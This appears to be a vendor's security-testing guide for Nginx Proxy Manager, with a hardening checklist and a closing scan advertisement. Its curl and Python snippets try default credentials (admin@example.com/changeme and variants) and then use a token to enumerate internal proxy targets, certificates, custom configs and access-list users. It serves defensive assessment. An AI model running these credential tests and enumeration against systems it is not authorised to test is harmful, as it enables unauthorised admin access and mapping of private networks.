Nginx Proxy Manager Security Testing: Default Credentials, SSL Certificates, Proxy Host Access, and Custom Locations

Nginx Proxy Manager (NPM) is the most widely deployed graphical interface for managing Nginx reverse proxy configurations in self-hosted environments, sitting in front of every other service in a typical home lab. Its security profile is particularly important because compromise gives an attacker a map of every internal service and the ability to redirect or intercept traffic to all of them. NPM defaults to admin@example.com/changeme as the initial administrator credentials — many deployments are never hardened; the REST API provides full proxy host management including reading the forwarding destinations of all proxied services; custom Nginx location blocks allow injection of arbitrary Nginx directives including return directives for traffic redirection; and NPM stores SSL certificate private keys accessible from the filesystem. This guide covers systematic Nginx Proxy Manager security assessment.

Table of Contents

  1. Default Credentials and Authentication
  2. Proxy Host Enumeration
  3. Custom Location Block Injection
  4. Nginx Proxy Manager Security Hardening

Default Credentials and Authentication

# Nginx Proxy Manager API — token-based authentication
NPM_URL="https://npm.example.com"

# Test default credentials admin@example.com/changeme
TOKEN_RESPONSE=$(curl -s -X POST "${NPM_URL}/api/tokens" \
  -H "Content-Type: application/json" \
  -d '{"identity":"admin@example.com","secret":"changeme"}' 2>/dev/null)
echo "$TOKEN_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
token = d.get('token','')
if token:
    print(f'DEFAULT CREDENTIALS VALID')
    print(f'Token: {token[:40]}...')
    print(f'Expires: {d.get(\"expires\")}')
else:
    print(f'Default credentials failed: {d}')
" 2>/dev/null

# Test other common defaults
for CREDS in 'admin@example.com:password' 'admin@example.com:admin' 'admin@admin.com:changeme'; do
  IDENTITY=$(echo "$CREDS" | cut -d: -f1)
  SECRET=$(echo "$CREDS" | cut -d: -f2)
  RESULT=$(curl -s -X POST "${NPM_URL}/api/tokens" \
    -H "Content-Type: application/json" \
    -d "{\"identity\":\"${IDENTITY}\",\"secret\":\"${SECRET}\"}" 2>/dev/null)
  HAS_TOKEN=$(echo "$RESULT" | python3 -c "import json,sys; d=json.load(sys.stdin); print('VALID' if d.get('token') else 'INVALID')" 2>/dev/null)
  echo "${IDENTITY}:${SECRET} -> ${HAS_TOKEN}"
done

# Get current user info with valid token
API_TOKEN="your-npm-bearer-token"
curl -s "${NPM_URL}/api/users/me" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"name\")} ({d.get(\"email\")})')
print(f'Admin: {d.get(\"is_disabled\") == False}')
" 2>/dev/null

Proxy Host Enumeration

# Nginx Proxy Manager proxy hosts — reveals all internal services
NPM_URL="https://npm.example.com"
API_TOKEN="your-npm-bearer-token"

# List all proxy hosts — reveals every internally proxied service
curl -s "${NPM_URL}/api/nginx/proxy-hosts" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
hosts = json.load(sys.stdin)
print(f'Proxy hosts: {len(hosts)}')
for h in hosts:
    domains = [d.get('value','') for d in h.get('domain_names',[])]
    fwd_host = h.get('forward_host','')
    fwd_port = h.get('forward_port','')
    fwd_scheme = h.get('forward_scheme','')
    ssl = h.get('ssl',{})
    print(f'  [{h.get(\"id\")}] {domains} -> {fwd_scheme}://{fwd_host}:{fwd_port} ssl_forced={h.get(\"ssl_forced\")}')
    if h.get('advanced_config'):
        print(f'    Custom Nginx config: {h.get(\"advanced_config\")[:100]}')
    # access_list_id > 0 means HTTP auth is required
    print(f'    Access list: {h.get(\"access_list_id\")} enabled={h.get(\"enabled\")}')
" 2>/dev/null

# List all SSL certificates — includes Let's Encrypt and custom certs
curl -s "${NPM_URL}/api/nginx/certificates" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
certs = json.load(sys.stdin)
print(f'SSL certificates: {len(certs)}')
for c in certs:
    print(f'  [{c.get(\"id\")}] {c.get(\"nice_name\")} type={c.get(\"provider\")} expires={c.get(\"expires_on\")}')
    domains = [d.get('value','') for d in c.get('domain_names',[])]
    print(f'    Domains: {domains}')
" 2>/dev/null

Custom Location Block Injection

# Nginx Proxy Manager advanced config — allows arbitrary Nginx directive injection
NPM_URL="https://npm.example.com"
API_TOKEN="your-npm-bearer-token"

# When creating or updating a proxy host, the advanced_config field
# is injected directly into the Nginx server block without sanitization
# This can be used to redirect traffic, serve files, or expose internal info

# Example: check if existing proxy hosts have custom Nginx configs
curl -s "${NPM_URL}/api/nginx/proxy-hosts" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
hosts = json.load(sys.stdin)
for h in hosts:
    adv = h.get('advanced_config','').strip()
    if adv:
        print(f'Host {h.get(\"id\")} ({h.get(\"domain_names\")}) has custom Nginx config:')
        print(f'  {adv}')
" 2>/dev/null

# Enumerate access lists to find services with HTTP basic auth configured
curl -s "${NPM_URL}/api/nginx/access-lists" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
alists = json.load(sys.stdin)
print(f'Access lists: {len(alists)}')
for al in alists:
    print(f'  [{al.get(\"id\")}] {al.get(\"name\")} — {len(al.get(\"clients\",[]))} client rules, {len(al.get(\"items\",[]))} auth entries')
    for item in al.get('items',[]):
        print(f'    User: {item.get(\"username\")}')  # Password hash may be included
" 2>/dev/null

Nginx Proxy Manager Security Hardening

Nginx Proxy Manager Security Hardening Checklist:
Security TestMethodRisk
Default admin@example.com/changeme credentialsPOST /api/tokens with identity=admin@example.com&secret=changeme — valid token returned on success; provides full admin access to all proxy configurations, SSL certificates, and access listsCritical
Internal service enumeration via proxy hostsGET /api/nginx/proxy-hosts — returns all proxy host configurations including the internal IP, hostname, and port for every service proxied through NPM; reveals the complete internal network service topologyHigh
SSL certificate private key accessGET /api/nginx/certificates and access to filesystem /etc/letsencrypt — SSL certificate private keys are stored in the NPM data directory; access to the host or container filesystem provides private keys for all managed domainsHigh
Custom Nginx directive injection via advanced_configPUT /api/nginx/proxy-hosts/{id} with advanced_config field — arbitrary Nginx directives are injected into the server block; can be used to add proxy_pass redirects, serve files from the host, or bypass access controlsHigh (requires admin access)
HTTP Basic Auth credential extraction from access listsGET /api/nginx/access-lists — returns access list definitions including username and password hash for configured HTTP auth entries; hashes are bcrypt and can be subject to offline crackingMedium

Automate Nginx Proxy Manager Security Testing

Ironimo tests Nginx Proxy Manager deployments for default admin credential exploitation, internal service topology enumeration via the proxy host API, custom Nginx directive injection audit in advanced configurations, SSL certificate and private key access review, HTTP Basic Auth credential extraction from access lists, bearer token expiry configuration, and admin UI network exposure.

Start free scan